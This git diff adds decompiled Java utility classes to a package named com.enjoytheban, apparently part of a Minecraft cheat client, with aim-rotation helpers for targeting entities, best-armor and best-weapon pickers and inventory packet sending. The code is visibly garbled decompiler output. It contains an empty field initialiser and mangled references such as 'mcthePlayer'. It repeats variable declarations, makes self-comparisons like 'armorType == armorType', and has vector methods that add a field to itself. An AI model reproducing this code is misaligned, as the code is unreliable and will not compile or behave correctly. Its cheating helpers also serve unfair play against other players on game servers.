diff --git a/src/minecraft/com/enjoytheban/utils/InventoryUtils.java b/src/minecraft/com/enjoytheban/utils/InventoryUtils.java
new file mode 100644
index 0000000..e9c2784
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/InventoryUtils.java
@@ -0,0 +1,525 @@
+package com.enjoytheban.utils;
+
+import com.google.common.collect.Multimap;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmor.ArmorMaterial;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.util.DamageSource;
+
+public class InventoryUtils
+{
+  public InventoryUtils() {}
+  
+  public static Minecraft mc = ;
+  
+  public void dropSlot(int slot) {
+    int windowId = net.minecraft.client.gui.inventory.GuiInventorymcthePlayer).inventorySlots.windowId;
+    mcplayerController.windowClick(windowId, slot, 1, 4, mcthePlayer);
+  }
+  
+  public static void updateInventory() {
+    for (int index = 0; index < 44; index++) {
+      try {
+        int offset = index < 9 ? 36 : 0;
+        
+        getMinecraftthePlayer.sendQueue.addToSendQueue(new net.minecraft.network.play.client.C10PacketCreativeInventoryAction(index + offset, getMinecraftthePlayer.inventory.mainInventory[index]));
+      }
+      catch (Exception localException) {}
+    }
+  }
+  
+  public static ItemStack getStackInSlot(int slot) {
+    return mcthePlayer.inventory.getStackInSlot(slot);
+  }
+  
+  public static boolean isBestArmorOfTypeInInv(ItemStack is) {
+    try {
+      if (is == null) {
+        return false;
+      }
+      
+      if (is.getItem() == null) {
+        return false;
+      }
+      
+      if ((is.getItem() != null) && (!(is.getItem() instanceof ItemArmor))) {
+        return false;
+      }
+      
+      ItemArmor ia = (ItemArmor)is.getItem();
+      int prot = getArmorProt(is);
+      
+
+
+
+
+      for (int i = 0; i < 4; i++) {
+        ItemStack stack = mcthePlayer.inventory.armorInventory[i];
+        if (stack != null) {
+          ItemArmor otherArmor = (ItemArmor)stack.getItem();
+          if (armorType == armorType) {
+            int otherProt = getArmorProt(stack);
+            if (otherProt >= prot) {
+              return false;
+            }
+          }
+        }
+      }
+      
+      for (i = 0; i < mcthePlayer.inventory.getSizeInventory() - 4; i++) {
+        ItemStack stack = mcthePlayer.inventory.getStackInSlot(i);
+        if ((stack != null) && ((stack.getItem() instanceof ItemArmor))) {
+          ItemArmor otherArmor = (ItemArmor)stack.getItem();
+          if ((armorType == armorType) && (otherArmor != ia)) {
+            int otherProt = getArmorProt(stack);
+            if (otherProt >= prot) {
+              return false;
+            }
+          }
+        }
+      }
+    }
+    catch (Exception localException) {}
+    
+
+    return true;
+  }
+  
+  public static boolean hotbarHas(Item item) {
+    for (int index = 0; index <= 36; index++) {
+      ItemStack stack = getMinecraftthePlayer.inventory.getStackInSlot(index);
+      if ((stack != null) && (stack.getItem() == item)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public static boolean hotbarHas(Item item, int slotID) {
+    for (int index = 0; index <= 36; index++) {
+      ItemStack stack = getMinecraftthePlayer.inventory.getStackInSlot(index);
+      if ((stack != null) && (stack.getItem() == item) && (getSlotID(stack.getItem()) == slotID)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public static int getSlotID(Item item) {
+    for (int index = 0; index <= 36; index++) {
+      ItemStack stack = getMinecraftthePlayer.inventory.getStackInSlot(index);
+      if ((stack != null) && (stack.getItem() == item)) {
+        return index;
+      }
+    }
+    return -1;
+  }
+  
+  public static ItemStack getItemBySlotID(int slotID) {
+    for (int index = 0; index <= 36; index++) {
+      ItemStack stack = getMinecraftthePlayer.inventory.getStackInSlot(index);
+      if ((stack != null) && (getSlotID(stack.getItem()) == slotID)) {
+        return stack;
+      }
+    }
+    return null;
+  }
+  
+  public static int getArmorProt(ItemStack i) {
+    int armorprot = -1;
+    if ((i != null) && (i.getItem() != null) && ((i.getItem() instanceof ItemArmor))) {
+      armorprot = ((ItemArmor)i.getItem()).getArmorMaterial().getDamageReductionAmount(getItemType(i)) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[] { i }, DamageSource.generic);
+    }
+    
+    return armorprot;
+  }
+  
+  public static int getBestSwordSlotID(ItemStack item, double damage) {
+    for (int index = 0; index <= 36; index++) {
+      ItemStack stack = getMinecraftthePlayer.inventory.getStackInSlot(index);
+      if ((stack != null) && (stack == item) && (getSwordDamage(stack) == getSwordDamage(item))) {
+        return index;
+      }
+    }
+    return -1;
+  }
+  
+  private static double getSwordDamage(ItemStack itemStack) {
+    double damage = 0.0D;
+    
+    java.util.Optional<AttributeModifier> attributeModifier = itemStack.getAttributeModifiers().values().stream().findFirst();
+    
+    if (attributeModifier.isPresent()) {
+      damage = ((AttributeModifier)attributeModifier.get()).getAmount();
+    }
+    
+    damage += EnchantmentHelper.func_152377_a(itemStack, net.minecraft.entity.EnumCreatureAttribute.UNDEFINED);
+    
+    return damage;
+  }
+  
+
+  public boolean isBestChest(int slot)
+  {
+    if ((getStackInSlot(slot) != null) && (getStackInSlot(slot).getItem() != null) && 
+      ((getStackInSlot(slot).getItem() instanceof ItemArmor))) {
+      int slotProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial()
+        .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(slot))) + 
+        EnchantmentHelper.getEnchantmentModifierDamage(
+        new ItemStack[] { mcthePlayer.inventory.getStackInSlot(slot) }, DamageSource.generic);
+      
+      if (mcthePlayer.inventory.armorInventory[2] != null) {
+        ItemArmor ia = (ItemArmor)mcthePlayer.inventory.armorInventory[2].getItem();
+        ItemStack is = mcthePlayer.inventory.armorInventory[2];
+        
+        ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+        
+        int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial()
+          .getDamageReductionAmount(getItemType(is)) + 
+          EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[] { is }, DamageSource.generic);
+        if ((otherProtection > slotProtection) || (otherProtection == slotProtection)) {
+          return false;
+        }
+      }
+      
+
+      for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+        if (getStackInSlot(i) != null)
+        {
+
+          if ((mcthePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor)) {
+            int otherProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(i).getItem())
+              .getArmorMaterial()
+              .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(i))) + 
+              EnchantmentHelper.getEnchantmentModifierDamage(
+              new ItemStack[] { mcthePlayer.inventory.getStackInSlot(i) }, DamageSource.generic);
+            
+            ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+            
+            ItemArmor ia2 = (ItemArmor)getStackInSlot(i).getItem();
+            
+            if ((armorType == 1) && (armorType == 1) && 
+              (otherProtection > slotProtection)) {
+              return false;
+            }
+          }
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+  public boolean isBestHelmet(int slot) {
+    if ((getStackInSlot(slot) != null) && (getStackInSlot(slot).getItem() != null) && 
+      ((getStackInSlot(slot).getItem() instanceof ItemArmor))) {
+      int slotProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial()
+        .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(slot))) + 
+        EnchantmentHelper.getEnchantmentModifierDamage(
+        new ItemStack[] { mcthePlayer.inventory.getStackInSlot(slot) }, DamageSource.generic);
+      
+      if (mcthePlayer.inventory.armorInventory[3] != null) {
+        ItemArmor ia = (ItemArmor)mcthePlayer.inventory.armorInventory[3].getItem();
+        ItemStack is = mcthePlayer.inventory.armorInventory[3];
+        
+        ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+        
+        int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial()
+          .getDamageReductionAmount(getItemType(is)) + 
+          EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[] { is }, DamageSource.generic);
+        if ((otherProtection > slotProtection) || (otherProtection == slotProtection)) {
+          return false;
+        }
+      }
+      
+
+      for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+        if (getStackInSlot(i) != null)
+        {
+
+          if ((mcthePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor)) {
+            int otherProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(i).getItem())
+              .getArmorMaterial()
+              .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(i))) + 
+              EnchantmentHelper.getEnchantmentModifierDamage(
+              new ItemStack[] { mcthePlayer.inventory.getStackInSlot(i) }, DamageSource.generic);
+            
+            ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+            
+            ItemArmor ia2 = (ItemArmor)getStackInSlot(i).getItem();
+            
+            if ((armorType == 0) && (armorType == 0) && 
+              (otherProtection > slotProtection)) {
+              return false;
+            }
+          }
+        }
+      }
+    }
+    
+
+
+    return true;
+  }
+  
+  public boolean isBestLeggings(int slot)
+  {
+    if ((getStackInSlot(slot) != null) && (getStackInSlot(slot).getItem() != null) && 
+      ((getStackInSlot(slot).getItem() instanceof ItemArmor))) {
+      int slotProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial()
+        .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(slot))) + 
+        EnchantmentHelper.getEnchantmentModifierDamage(
+        new ItemStack[] { mcthePlayer.inventory.getStackInSlot(slot) }, DamageSource.generic);
+      if (mcthePlayer.inventory.armorInventory[1] != null) {
+        ItemArmor ia = (ItemArmor)mcthePlayer.inventory.armorInventory[1].getItem();
+        ItemStack is = mcthePlayer.inventory.armorInventory[1];
+        
+        ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+        
+        int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial()
+          .getDamageReductionAmount(getItemType(is)) + 
+          EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[] { is }, DamageSource.generic);
+        if ((otherProtection > slotProtection) || (otherProtection == slotProtection)) {
+          return false;
+        }
+      }
+      
+
+      for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+        if (getStackInSlot(i) != null)
+        {
+
+          if ((mcthePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor)) {
+            int otherProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(i).getItem())
+              .getArmorMaterial()
+              .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(i))) + 
+              EnchantmentHelper.getEnchantmentModifierDamage(
+              new ItemStack[] { mcthePlayer.inventory.getStackInSlot(i) }, DamageSource.generic);
+            ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+            
+            ItemArmor ia2 = (ItemArmor)getStackInSlot(i).getItem();
+            
+            if ((armorType == 2) && (armorType == 2) && 
+              (otherProtection > slotProtection)) {
+              return false;
+            }
+          }
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+  public boolean isBestBoots(int slot)
+  {
+    if ((getStackInSlot(slot) != null) && (getStackInSlot(slot).getItem() != null) && 
+      ((getStackInSlot(slot).getItem() instanceof ItemArmor))) {
+      int slotProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial()
+        .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(slot))) + 
+        EnchantmentHelper.getEnchantmentModifierDamage(
+        new ItemStack[] { mcthePlayer.inventory.getStackInSlot(slot) }, DamageSource.generic);
+      
+      if (mcthePlayer.inventory.armorInventory[0] != null) {
+        ItemArmor ia = (ItemArmor)mcthePlayer.inventory.armorInventory[0].getItem();
+        ItemStack is = mcthePlayer.inventory.armorInventory[0];
+        
+        ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+        
+        int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial()
+          .getDamageReductionAmount(getItemType(is)) + 
+          EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[] { is }, DamageSource.generic);
+        if ((otherProtection > slotProtection) || (otherProtection == slotProtection)) {
+          return false;
+        }
+      }
+      
+
+      for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+        if (getStackInSlot(i) != null)
+        {
+
+          if ((mcthePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor)) {
+            int otherProtection = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(i).getItem())
+              .getArmorMaterial()
+              .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(i))) + 
+              EnchantmentHelper.getEnchantmentModifierDamage(
+              new ItemStack[] { mcthePlayer.inventory.getStackInSlot(i) }, DamageSource.generic);
+            
+            ItemArmor ia1 = (ItemArmor)getStackInSlot(slot).getItem();
+            
+            ItemArmor ia2 = (ItemArmor)getStackInSlot(i).getItem();
+            
+            if ((armorType == 3) && (armorType == 3) && 
+              (otherProtection > slotProtection)) {
+              return false;
+            }
+          }
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+  public boolean isBestSword(int slotIn) {
+    return getBestWeapon() == slotIn;
+  }
+  
+  public static int getItemType(ItemStack itemStack) {
+    if ((itemStack.getItem() instanceof ItemArmor)) {
+      ItemArmor armor = (ItemArmor)itemStack.getItem();
+      
+      return armorType;
+    }
+    return -1;
+  }
+  
+  public static float getItemDamage(ItemStack itemStack) {
+    Multimap multimap = itemStack.getAttributeModifiers();
+    Iterator iterator;
+    if ((!multimap.isEmpty()) && ((iterator = multimap.entries().iterator()).hasNext())) {
+      Map.Entry entry = (Map.Entry)iterator.next();
+      AttributeModifier attributeModifier = (AttributeModifier)entry.getValue();
+      double damage = (attributeModifier.getOperation() != 1) && (attributeModifier.getOperation() != 2) ? 
+        attributeModifier.getAmount() : 
+        attributeModifier.getAmount() * 100.0D;
+      return attributeModifier.getAmount() > 1.0D ? 1.0F + (float)damage : 1.0F;
+    }
+    return 1.0F;
+  }
+  
+
+  public boolean hasItemMoreTimes(int slotIn)
+  {
+    boolean has = false;
+    ArrayList<ItemStack> stacks = new ArrayList();
+    stacks.clear();
+    
+    for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+      if (!stacks.contains(getStackInSlot(i))) {
+        stacks.add(getStackInSlot(i));
+      }
+      else if (getStackInSlot(i) == getStackInSlot(slotIn)) {
+        return true;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    return false;
+  }
+  
+  public int getBestWeaponInHotbar() {
+    int originalSlot = mcthePlayer.inventory.currentItem;
+    byte weaponSlot = -1;
+    float weaponDamage = 1.0F;
+    
+    for (byte slot = 0; slot < 9; slot = (byte)(slot + 1)) {
+      ItemStack itemStack = mcthePlayer.inventory.getStackInSlot(slot);
+      if (itemStack != null) {
+        float damage = getItemDamage(itemStack);
+        
+        if (damage += EnchantmentHelper.func_152377_a(itemStack, net.minecraft.entity.EnumCreatureAttribute.UNDEFINED) > weaponDamage) {
+          weaponDamage = damage;
+          weaponSlot = slot;
+        }
+      }
+    }
+    
+    if (weaponSlot != -1) {
+      return weaponSlot;
+    }
+    return originalSlot;
+  }
+  
+  public int getBestWeapon()
+  {
+    int originalSlot = mcthePlayer.inventory.currentItem;
+    byte weaponSlot = -1;
+    float weaponDamage = 1.0F;
+    
+    for (byte slot = 0; slot < mcthePlayer.inventory.getSizeInventory(); slot = (byte)(slot + 1))
+    {
+      if (getStackInSlot(slot) != null)
+      {
+
+        ItemStack itemStack = getStackInSlot(slot);
+        
+        if ((itemStack != null) && (itemStack.getItem() != null) && ((itemStack.getItem() instanceof ItemSword))) {
+          float damage = getItemDamage(itemStack);
+          
+          if (damage += EnchantmentHelper.func_152377_a(itemStack, net.minecraft.entity.EnumCreatureAttribute.UNDEFINED) > weaponDamage) {
+            weaponDamage = damage;
+            weaponSlot = slot;
+          }
+        }
+      }
+    }
+    if (weaponSlot != -1) {
+      return weaponSlot;
+    }
+    return originalSlot;
+  }
+  
+  public int getArmorProt(int i)
+  {
+    int armorprot = -1;
+    if ((getStackInSlot(i) != null) && (getStackInSlot(i).getItem() != null) && 
+      ((getStackInSlot(i).getItem() instanceof ItemArmor))) {
+      armorprot = ((ItemArmor)mcthePlayer.inventory.getStackInSlot(i).getItem()).getArmorMaterial()
+        .getDamageReductionAmount(getItemType(mcthePlayer.inventory.getStackInSlot(i))) + 
+        EnchantmentHelper.getEnchantmentModifierDamage(
+        new ItemStack[] { mcthePlayer.inventory.getStackInSlot(i) }, DamageSource.generic);
+    }
+    
+    return armorprot;
+  }
+  
+  public static int getFirstItem(Item i1) {
+    for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+      if ((getStackInSlot(i) != null) && (getStackInSlot(i).getItem() != null) && 
+        (getStackInSlot(i).getItem() == i1)) {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+  public static boolean isBestSword(ItemStack itemSword, int slot) {
+    if ((itemSword != null) && ((itemSword.getItem() instanceof ItemSword))) {
+      for (int i = 0; i < mcthePlayer.inventory.getSizeInventory(); i++) {
+        ItemStack iStack = mcthePlayer.inventory.getStackInSlot(i);
+        if ((iStack != null) && ((iStack.getItem() instanceof ItemSword)) && (getItemDamage(iStack) >= getItemDamage(itemSword)) && (slot != i)) {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/TimerUtil.java b/src/minecraft/com/enjoytheban/utils/TimerUtil.java
new file mode 100644
index 0000000..7eb4fe0
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/TimerUtil.java
@@ -0,0 +1,39 @@
+package com.enjoytheban.utils;
+
+
+
+
+public class TimerUtil
+{
+  private long lastMS;
+  
+
+
+  public TimerUtil() {}
+  
+
+
+  private long getCurrentMS()
+  {
+    return System.nanoTime() / 1000000L;
+  }
+  
+  public boolean hasReached(double milliseconds)
+  {
+    return getCurrentMS() - lastMS >= milliseconds;
+  }
+  
+  public void reset()
+  {
+    lastMS = getCurrentMS();
+  }
+  
+  public boolean delay(float milliSec) {
+    return (float)(getTime() - lastMS) >= milliSec;
+  }
+  
+  public long getTime()
+  {
+    return System.nanoTime() / 1000000L;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/math/MathUtil.java b/src/minecraft/com/enjoytheban/utils/math/MathUtil.java
new file mode 100644
index 0000000..a4f7c8a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/math/MathUtil.java
@@ -0,0 +1,122 @@
+package com.enjoytheban.utils.math;
+
+import com.enjoytheban.utils.Helper;
+import java.util.Random;
+import java.util.concurrent.ThreadLocalRandom;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+
+public class MathUtil
+{
+  public static Random random = new Random();
+  
+  public MathUtil() {}
+  
+  public static double toDecimalLength(double in, int places) {
+    return Double.parseDouble(String.format("%." + places + "f", new Object[] { Double.valueOf(in) }));
+  }
+  
+
+
+  public static double round(double in, int places)
+  {
+    places = (int)net.minecraft.util.MathHelper.clamp_double(places, 0.0D, 2.147483647E9D);
+    return Double.parseDouble(String.format("%." + places + "f", new Object[] { Double.valueOf(in) }));
+  }
+  
+
+  public static boolean parsable(String s, byte type)
+  {
+    try
+    {
+      switch (type) {
+      case 0: 
+        Short.parseShort(s);
+        break;
+      case 1: 
+        Byte.parseByte(s);
+        break;
+      case 2: 
+        Integer.parseInt(s);
+        break;
+      case 3: 
+        Float.parseFloat(s);
+        break;
+      case 4: 
+        Double.parseDouble(s);
+        break;
+      case 5: 
+        Long.parseLong(s);
+      }
+    }
+    catch (NumberFormatException e) {
+      e.printStackTrace();
+      return false;
+    }
+    return true;
+  }
+  
+
+
+  public static double square(double in) { return in * in; }
+  
+  public static class NumberType {
+    public static final byte SHORT = 0;
+    public static final byte BYTE = 1;
+    public static final byte INT = 2;
+    
+    public NumberType() {}
+    
+    public static byte getByType(Class cls) {
+      if (cls == Short.class)
+        return 0;
+      if (cls == Byte.class)
+        return 1;
+      if (cls == Integer.class)
+        return 2;
+      if (cls == Float.class)
+        return 3;
+      if (cls == Double.class)
+        return 4;
+      if (cls == Long.class) {
+        return 5;
+      }
+      return -1;
+    }
+    
+    public static final byte FLOAT = 3;
+    public static final byte DOUBLE = 4;
+    public static final byte LONG = 5;
+  }
+  
+  public static double randomDouble(double min, double max) {
+    return ThreadLocalRandom.current().nextDouble(min, max);
+  }
+  
+  public static double getBaseMovementSpeed()
+  {
+    double baseSpeed = 0.2873D;
+    if (mcthePlayer.isPotionActive(Potion.moveSpeed)) {
+      int amplifier = mcthePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier();
+      baseSpeed *= (1.0D + 0.2D * (amplifier + 1));
+    }
+    return baseSpeed;
+  }
+  
+  public static double getHighestOffset(double max)
+  {
+    for (double i = 0.0D; i < max; i += 0.01D) {
+      for (int offset : new int[] { -2, -1, 0, 1, 2 })
+      {
+
+
+        if (mctheWorld.getCollidingBoundingBoxes(mcthePlayer, mcthePlayer.getEntityBoundingBox().offset(mcthePlayer.motionX * offset, i, mcthePlayer.motionZ * offset)).size() > 0) {
+          return i - 0.01D;
+        }
+      }
+    }
+    return max;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/math/RotationUtil.java b/src/minecraft/com/enjoytheban/utils/math/RotationUtil.java
new file mode 100644
index 0000000..1863958
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/math/RotationUtil.java
@@ -0,0 +1,167 @@
+package com.enjoytheban.utils.math;
+
+import com.enjoytheban.utils.Helper;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+
+
+
+
+public class RotationUtil
+{
+  public RotationUtil() {}
+  
+  public static float pitch()
+  {
+    return mcthePlayer.rotationPitch;
+  }
+  
+  public static void pitch(float pitch) {
+    mcthePlayer.rotationPitch = pitch;
+  }
+  
+  public static float yaw()
+  {
+    return mcthePlayer.rotationYaw;
+  }
+  
+  public static void yaw(float yaw) {
+    mcthePlayer.rotationYaw = yaw;
+  }
+  
+  public static float[] faceTarget(Entity target, float p_706252, float p_706253, boolean miss)
+  {
+    double var4 = posX - mcthePlayer.posX;
+    double var8 = posZ - mcthePlayer.posZ;
+    double var6;
+    double var6; if ((target instanceof EntityLivingBase)) {
+      EntityLivingBase var10 = (EntityLivingBase)target;
+      var6 = posY + var10.getEyeHeight() - (
+        mcthePlayer.posY + mcthePlayer.getEyeHeight());
+    } else {
+      var6 = (getEntityBoundingBoxminY + getEntityBoundingBoxmaxY) / 2.0D - (
+        mcthePlayer.posY + mcthePlayer.getEyeHeight());
+    }
+    Random rnd = new Random();
+    double var14 = MathHelper.sqrt_double(var4 * var4 + var8 * var8);
+    float var12 = (float)(Math.atan2(var8, var4) * 180.0D / 3.141592653589793D) - 90.0F;
+    float var13 = (float)-(Math.atan2(var6 - ((target instanceof EntityPlayer) ? 0.25D : 0.0D), var14) * 180.0D / 
+      3.141592653589793D);
+    float pitch = changeRotation(mcthePlayer.rotationPitch, var13, p_706253);
+    float yaw = changeRotation(mcthePlayer.rotationYaw, var12, p_706252);
+    return new float[] { yaw, pitch };
+  }
+  
+  public static float changeRotation(float p_706631, float p_706632, float p_706633) {
+    float var4 = MathHelper.wrapAngleTo180_float(p_706632 - p_706631);
+    if (var4 > p_706633)
+      var4 = p_706633;
+    if (var4 < -p_706633)
+      var4 = -p_706633;
+    return p_706631 + var4;
+  }
+  
+  public static double[] getRotationToEntity(Entity entity) {
+    double pX = mcthePlayer.posX;
+    double pY = mcthePlayer.posY + mcthePlayer.getEyeHeight();
+    double pZ = mcthePlayer.posZ;
+    
+    double eX = posX;
+    double eY = posY + height / 2.0F;
+    double eZ = posZ;
+    
+    double dX = pX - eX;
+    double dY = pY - eY;
+    double dZ = pZ - eZ;
+    double dH = Math.sqrt(Math.pow(dX, 2.0D) + Math.pow(dZ, 2.0D));
+    
+    double yaw = Math.toDegrees(Math.atan2(dZ, dX)) + 90.0D;
+    double pitch = Math.toDegrees(Math.atan2(dH, dY));
+    
+    return new double[] { yaw, 90.0D - pitch };
+  }
+  
+
+  public static float[] getRotations(Entity entity)
+  {
+    if (mcbreakTheGame)
+      return new float[] { 0.0F, -90.0F };
+    if (entity == null) {
+      return null;
+    }
+    
+
+    double diffX = posX - mcthePlayer.posX;
+    double diffZ = posZ - mcthePlayer.posZ;
+    
+    double diffY;
+    
+    double diffY;
+    if ((entity instanceof EntityLivingBase))
+    {
+      EntityLivingBase elb = (EntityLivingBase)entity;
+      
+      diffY = posY + (elb.getEyeHeight() - 0.4D) - (
+        mcthePlayer.posY + mcthePlayer.getEyeHeight());
+    } else {
+      diffY = (boundingBox.minY + boundingBox.maxY) / 2.0D - (
+        mcthePlayer.posY + mcthePlayer.getEyeHeight());
+    }
+    
+
+    double dist = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ);
+    float yaw = (float)(Math.atan2(diffZ, diffX) * 180.0D / 3.141592653589793D) - 90.0F;
+    float pitch = (float)-(Math.atan2(diffY, dist) * 180.0D / 3.141592653589793D);
+    return new float[] { yaw, pitch };
+  }
+  
+
+  public static float getDistanceBetweenAngles(float angle1, float angle2)
+  {
+    float angle3 = Math.abs(angle1 - angle2) % 360.0F;
+    
+    if (angle3 > 180.0F) {
+      angle3 = 0.0F;
+    }
+    return angle3;
+  }
+  
+  public static float[] grabBlockRotations(BlockPos pos)
+  {
+    return 
+      getVecRotation(
+      mcthePlayer.getPositionVector().addVector(0.0D, 
+      mcthePlayer.getEyeHeight(), 0.0D), 
+      new Vec3(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D));
+  }
+  
+  public static float[] getVecRotation(Vec3 position) {
+    return getVecRotation(mcthePlayer.getPositionVector().addVector(0.0D, 
+      mcthePlayer.getEyeHeight(), 0.0D), position);
+  }
+  
+  public static float[] getVecRotation(Vec3 origin, Vec3 position) {
+    Vec3 difference = position.subtract(origin);
+    double distance = difference.flat().lengthVector();
+    float yaw = (float)Math.toDegrees(Math.atan2(zCoord, xCoord)) - 90.0F;
+    float pitch = (float)-Math.toDegrees(Math.atan2(yCoord, distance));
+    return new float[] { yaw, pitch };
+  }
+  
+  public static int wrapAngleToDirection(float yaw, int zones)
+  {
+    int angle = (int)(yaw + 360 / (2 * zones) + 0.5D) % 360;
+    if (angle < 0) {
+      angle += 360;
+    }
+    return angle / (360 / zones);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/math/Vec2f.java b/src/minecraft/com/enjoytheban/utils/math/Vec2f.java
new file mode 100644
index 0000000..e35fbe5
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/math/Vec2f.java
@@ -0,0 +1,202 @@
+package com.enjoytheban.utils.math;
+
+import com.enjoytheban.utils.render.gl.GLUtils;
+
+
+
+
+
+
+
+
+public final class Vec2f
+{
+  private float x;
+  private float y;
+  
+  public Vec2f()
+  {
+    this(0.0F, 0.0F);
+  }
+  
+  public Vec2f(Vec2f vec) {
+    this(x, y);
+  }
+  
+  public Vec2f(double x, double y) {
+    this((float)x, (float)y);
+  }
+  
+  public Vec2f(float x, float y) {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+  public final Vec2f setX(float x)
+  {
+    this.x = x;
+    return this;
+  }
+  
+
+
+
+
+
+  public final Vec2f setY(float y)
+  {
+    this.y = y;
+    return this;
+  }
+  
+
+
+  public final float getX()
+  {
+    return x;
+  }
+  
+
+
+  public final float getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+  public final Vec2f add(Vec2f vec)
+  {
+    return new Vec2f(x + x, y + y);
+  }
+  
+
+
+
+
+
+
+  public final Vec2f add(double x, double y)
+  {
+    return add(new Vec2f(x, y));
+  }
+  
+
+
+
+
+
+
+  public final Vec2f add(float x, float y)
+  {
+    return add(new Vec2f(x, y));
+  }
+  
+
+
+
+
+
+  public final Vec2f sub(Vec2f vec)
+  {
+    return new Vec2f(x - x, y - y);
+  }
+  
+
+
+
+
+
+
+  public final Vec2f sub(double x, double y)
+  {
+    return sub(new Vec2f(x, y));
+  }
+  
+
+
+
+
+
+
+  public final Vec2f sub(float x, float y)
+  {
+    return sub(new Vec2f(x, y));
+  }
+  
+
+
+
+
+
+  public final Vec2f scale(float scale)
+  {
+    return new Vec2f(x * scale, y * scale);
+  }
+  
+
+
+
+
+  public final Vec3f toVec3()
+  {
+    return new Vec3f(x, y, 0.0D);
+  }
+  
+
+
+
+
+  public final Vec2f copy()
+  {
+    return new Vec2f(this);
+  }
+  
+
+
+
+
+
+  public final Vec2f transfer(Vec2f vec)
+  {
+    x = x;
+    y = y;
+    return this;
+  }
+  
+
+
+
+
+  public final float distanceTo(Vec2f vec)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    return (float)Math.sqrt(dx * dx + dy * dy);
+  }
+  
+
+
+
+
+  public final Vec3f toScreen()
+  {
+    return GLUtils.toWorld(toVec3());
+  }
+  
+  public String toString()
+  {
+    return 
+    
+
+      "Vec2{x=" + x + ", y=" + y + '}';
+  }
+}
